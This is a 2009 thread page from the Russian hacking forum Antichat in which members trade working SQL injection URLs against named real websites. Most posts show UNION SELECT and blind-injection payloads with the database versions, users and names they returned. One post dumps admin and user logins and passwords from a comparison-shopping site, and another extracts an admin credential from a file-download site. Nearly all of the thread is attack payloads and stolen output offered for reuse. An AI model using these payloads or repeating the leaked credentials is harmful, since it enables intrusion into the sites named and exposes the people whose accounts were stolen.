ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #9041  
Старый 27.04.2009, 23:44
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию

http://www.mercerbar.com/philanthropy.php?pid=2+UNION+SELECT+concat_ws(0x3a ,user(),version(),database())+LIMIT+1,1/*

mercer_mercerbar@localhost:4.1.22-log:mercer_mercerbar_db
 
Ответить с цитированием

[-_-]
  #9042  
Старый 28.04.2009, 01:48
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
Провел на форуме:
1957988

Репутация: 739
Отправить сообщение для ILYAtirtir с помощью ICQ
По умолчанию [-_-]

СравниСам.ру - первый в Рунете супермаркет услуг.
Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,concat_ws(0x3a,database(),user(),version( )),14,15
Код:
base_general:saddamhoosaine@localhost:5.1.32-log
Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,table_name,14,15+from+information_schema. tables+limit+x,1
мне понравились
Код:
sms_admin_users
ss_users
tbl_admin_users
tbl_users

Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,column_name,14,15+from+information_schema .columns+where+table_name=0x736D735F61646D696E5F75 73657273+limit+x,1
Код:
login
password
Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,concat_ws(0x3a,login,password),14,15+from +sms_admin_users+limit+x,1
Код:
dima:rjyntynrjyntyn
maria:ghjcnjvfhbz
andrey:727272
malcev:ghbdtn123
investrastbank:12345678
sofrino:vTHj6uRc
investsouz:12345678
sovinkom:1509710
kipbank:12345678
mezhtrastbank:12345678
ИТД

Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,column_name,14,15+from+information_schema .columns+where+table_name=0x73735F7573657273+limit +x,1
Код:
users_login
users_password
users_nick
Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,concat_ws(0x3a,users_login,users_nick,use rs_password),14,15+from+ss_users+limit+x,1
Код:
Maria:Maria:191700
riddi:riddi:edjkty
Brat::Brat
marina::17091987
sergey::ghjcnjhflbj
olga::031083
serg::123
len:len:123
slon::123
diva::191369

Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,column_name,14,15+from+information_schema .columns+where+table_name=0x74626C5F61646D696E5F75 73657273+limit+x,1
Код:
login
password
Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,concat_ws(0x3a,login,password),14,15+from +tbl_admin_users+limit+x,1
Код:
linx:727272
Dima:rjyntynrjyntyn
olga:lj,hjgj;fkjdfnm123
roshina:yflt;lf
andrey:727272
marina:ghjcnjvfhbyf
maria:ghjcnjvfhbz
ilya:ghjcnjbkmz
malcev:ghbdtn123

Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,column_name,14,15+from+information_schema .columns+where+table_name=0x74626C5F7573657273+lim it+x,1
Код:
user
pass
Цитата:
http://www.sravnisam.ru/?go=items&id=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,concat_ws(0x3a,user,pass),14,15+from+tbl_ users+limit+x,1
Код:
linx:727272
Dima:rjyntynrjyntyn
mariya:ofprfrdjqle
andrey:3295998
magir:ghjcnjvfubh
olga:031083
sveta:z[jxehf,jnfnm
roshina:yflt;lf
marina:ghjcnjvfhbyf
ilya:ghjcnjbkmz
malcev:ghbdtn123
 
Ответить с цитированием

вот ещё парочка скулей
  #9043  
Старый 28.04.2009, 13:14
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию вот ещё парочка скулей

вот ещё парочка скулей))
Цитата:
_http://friendsoftheirishenvironment.net/friendswork/index.php?action=cat&cid=-7+union+select+1,2,3,4,concat_ws(0x3b,version(),us er(),database()),6,7,8,9+--

версия/юзер/база

4.1.22-standard;fienet_fie@localhost;fienet_fie

_http://www.poseidon.hcmr.gr/article_view.php?id=-124+union+select+1,2,3,4,5,6,9,8,concat_ws(0x3b,ve rsion(),user(),database()),0,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35,36,37,38,39,40,42,41,43,44,45,46,47,48,49,50,5 2,53,52,54+--&cid=28&bc=28

версия/юзер/база

5.0.45;www_poseidon@iris5004.ath.hcmr.gr;project_p oseidon


_http://bclibrary.ca/ell/links.php?subid=-191+union+select+1,2,3,4,concat_ws(0x3b,version(), user(),database()),6,7,8+--&cid=4'=

версия/юзер/база

5.0.24-plsb-log;ell_web@localhost;ell

_http://www.tneb.in/template_3.php?tempno=3&cid=0&subcid=-181+union+select+concat_ws(0x3b,version(),user(),d atabase())+--

версия/юзер/база

5.0.41-log;tnebin@localhost;tnebin_eb

_http://russian-invest.ru/index.php?do=catop&cid=-69+union+select+1,2,3,4,concat_ws(0x3b,version(),u ser(),database())

версия/юзер/база

5.0.32-Debian_7etch6-log;russia@localhost;russia_fin
 
Ответить с цитированием

  #9044  
Старый 28.04.2009, 14:44
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Код:
http://zwerg-schnauzer.info/dog.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x3a,user(),database(),version()),16,17,18
rustrake_mini@localhost:rustrake_mini:5.0.26-lk-log
Код:
http://sarilocker.com/advice/qa.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6
sarilock_01@localhost:sarilock_01:5.0.75-community-log
Код:
http://armor.kiev.ua/php/news.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9
armor@localhost:armor:5.0.77

Последний раз редактировалось mailbrush; 28.04.2009 в 16:19.. Причина: new sqls
 
Ответить с цитированием

  #9045  
Старый 28.04.2009, 20:39
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

Cборник музыкальных сайтов


Цитата:
http://catmusic.org/info/?id=-1230+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
Database Version: 4.1.20
Database name: infor490_5
User name: infor490_5@localhost

Жаль БД 4
 
Ответить с цитированием

  #9046  
Старый 28.04.2009, 20:56
Artwap
Новичок
Регистрация: 14.08.2008
Сообщений: 17
Провел на форуме:
47530

Репутация: 8
По умолчанию

http://www.fcmetalurg.com/season/about_team.php?tid=-5+union+select+version(),2,3,4/*
 
Ответить с цитированием

  #9047  
Старый 28.04.2009, 21:21
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332

Репутация: 1196


Отправить сообщение для L I G A с помощью ICQ
По умолчанию

www.directionsmedia.net
Код:
http://www.directionsmedia.net/newsletters.archive/index.php?ID=-142+union+select+1,2,3,4--
version()4.1.22-log
database()DirMain
user()sa@localhost
 
Ответить с цитированием

  #9048  
Старый 28.04.2009, 21:59
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552

Репутация: 1668
Отправить сообщение для RulleR с помощью ICQ Отправить сообщение для RulleR с помощью Yahoo
По умолчанию

blind sql-inj
Код:
http://www.endven.com/index/news.php?id=20+and+substring(@@version,1,1)=5
Код:
http://www.ogf.org/News/news.php?id=129+and+substring(@@version,1,1)=4
----------------------------------------------

Последний раз редактировалось jokester; 28.04.2009 в 22:32.. Причина: grenadegloves.com и propool.ru БОЯНы
 
Ответить с цитированием

  #9049  
Старый 28.04.2009, 22:16
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

www.gmsn.ru - ТиЦ 1200 Pr - 6
PHP код:
http://www.gmsn.ru/page.php?rub=news&id=-1'+union+select+1,2,unhex(hex(concat_ws(0x3A,user(),@@version,database()))),4,5,6,7,8--+ 
w_gmsn@195.42.160.19:4.1.16-1.gms:w_gmsn
 
Ответить с цитированием

  #9050  
Старый 28.04.2009, 22:53
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме:
2075230

Репутация: 462
Отправить сообщение для ph1l1ster с помощью ICQ
По умолчанию

filetransit.com
ТИЦ: 90
PR: 6


Код:
http://www.filetransit.com/category.php?id=192+AND+ascii(lower(substring((SELECT+concat(name,0x3a,password)+from+user+LIMIT+1),1,1)))>1
ascii:32,97,108,101,120,58,116,114,97,110,53,33,116

char: alex:tran5!t

http://www.filetransit.com/admin/
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ